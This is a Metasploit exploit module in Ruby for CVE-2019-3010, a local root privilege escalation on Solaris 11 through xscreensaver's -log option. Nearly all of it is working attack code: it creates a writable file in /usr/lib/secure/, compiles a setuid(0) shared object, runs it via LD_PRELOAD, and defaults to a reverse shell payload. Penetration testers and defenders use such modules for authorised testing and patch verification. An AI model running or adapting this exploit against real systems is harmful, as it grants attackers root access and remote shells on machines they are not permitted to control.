Path: blob/master/modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Solaris::Priv10include Msf::Post::Solaris::System11include Msf::Post::Solaris::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Solaris xscreensaver log Privilege Escalation',21'Description' => %q{22This module exploits a vulnerability in `xscreensaver` versions23since 5.06 on unpatched Solaris 11 systems which allows users24to gain root privileges.2526`xscreensaver` allows users to create a user-owned file at any27location on the filesystem using the `-log` command line argument28introduced in version 5.06.2930This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,31overwrites the log file with a shared object, and executes the shared32object using the `LD_PRELOAD` environment variable.3334This module has been tested successfully on:3536xscreensaver version 5.15 on Solaris 11.1 (x86); and37xscreensaver version 5.15 on Solaris 11.3 (x86).38},39'References' => [40['CVE', '2019-3010'],41['EDB', '47509'],42['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],43['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],44['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],45['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']46],47'Notes' => {48'Stability' => [CRASH_SAFE],49'SideEffects' => [],50'Reliability' => [],51'AKA' => ['raptor_xscreensaver']52},53'License' => MSF_LICENSE,54'Author' => [55'Marco Ivaldi', # Discovery and exploit56'bcoles' # Metasploit57],58'DisclosureDate' => '2019-10-16',59'Privileged' => true,60'Platform' => ['solaris', 'unix'],61'Arch' => [ARCH_CMD],62'Targets' => [['Auto', {}]],63'SessionTypes' => ['shell', 'meterpreter'],64'DefaultOptions' => {65'PAYLOAD' => 'cmd/unix/reverse_ksh',66'WfsDelay' => 10,67'PrependFork' => true68},69'DefaultTarget' => 070)71)72register_options [73OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),74OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])75]76register_advanced_options [77OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),78OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])79]80end8182def xscreensaver_path83datastore['XSCREENSAVER_PATH']84end8586def xorg_path87datastore['XORG_PATH']88end8990def mkdir(path)91vprint_status "Creating directory '#{path}'"92cmd_exec "mkdir -p '#{path}'"93register_dir_for_cleanup path94end9596def upload(path, data)97print_status "Writing '#{path}' (#{data.size} bytes) ..."98rm_f path99write_file path, data100register_file_for_cleanup path101end102103def upload_and_compile(path, data)104upload "#{path}.c", data105106output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"107unless output.blank?108print_error output109fail_with Failure::Unknown, "#{path}.c failed to compile"110end111112register_file_for_cleanup path113end114115def check116unless setuid? xscreensaver_path117vprint_error "#{xscreensaver_path} is not setuid"118return CheckCode::Safe119end120vprint_good "#{xscreensaver_path} is setuid"121122unless has_gcc?123vprint_error 'gcc is not installed'124return CheckCode::Safe125end126vprint_good 'gcc is installed'127128xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d.]+)/).flatten.first129if xscreensaver_version.to_s.eql? ''130vprint_error 'Could not determine xscreensaver version'131return CheckCode::Detected132end133134# Bug introduced in version 5.06. Patched in version <~ 5.42.135unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))136vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"137return CheckCode::Safe138end139vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"140141CheckCode::Appears142end143144def exploit145if is_root?146fail_with Failure::BadConfig, 'Session already has root privileges'147end148149unless writable? datastore['WritableDir']150fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"151end152153# Set display154display = cmd_exec 'echo $DISPLAY'155kill_xorg = false156157if display.to_s.blank?158display = datastore['Xdisplay']159print_status "Starting Xorg on display #{display} ..."160cmd_exec "#{xorg_path} #{display} & echo "161kill_xorg = true162else163print_status "Using Xorg display #{display} ..."164end165166# Create writable log file in /usr/lib/secure/167lib_name = rand_text_alphanumeric 5..10168if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'169secure_path = '/usr/lib/secure/64/'170else171secure_path = '/usr/lib/secure/'172end173lib_path = "#{secure_path}#{lib_name}.so"174175print_status "Creating log file #{lib_path} ..."176cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "177178Rex.sleep(5)179180cmd_exec 'pkill -U `whoami` -n xscreensaver'181if kill_xorg182cmd_exec 'pkill -U `whoami` -n Xorg'183end184185unless writable? lib_path186fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"187end188189register_file_for_cleanup lib_path190191# Upload and compile shared object192base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"193mkdir base_path194195payload_name = ".#{rand_text_alphanumeric 5..10}"196payload_path = "#{base_path}/#{payload_name}"197198so = <<-EOF199#include <unistd.h>200void __attribute__((constructor)) cons() {201setuid(0);202setgid(0);203unlink("#{lib_path}");204execle("#{payload_path}", "", NULL, NULL);205_exit(0);206}207EOF208209so_name = ".#{rand_text_alphanumeric 5..10}"210so_path = "#{base_path}/#{so_name}"211upload_and_compile so_path, so212213# Overwrite newly created log file with compiled shared object214vprint_status "Writing shared object to #{lib_path}"215cmd_exec "cp '#{so_path}' '#{lib_path}'"216217# Upload and execute payload218if payload.arch.first.to_s == 'cmd'219upload payload_path, "#!/bin/sh\n#{payload.encoded}"220else221upload payload_path, generate_payload_exe222end223chmod payload_path224225print_status 'Executing payload...'226cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "227end228end229230231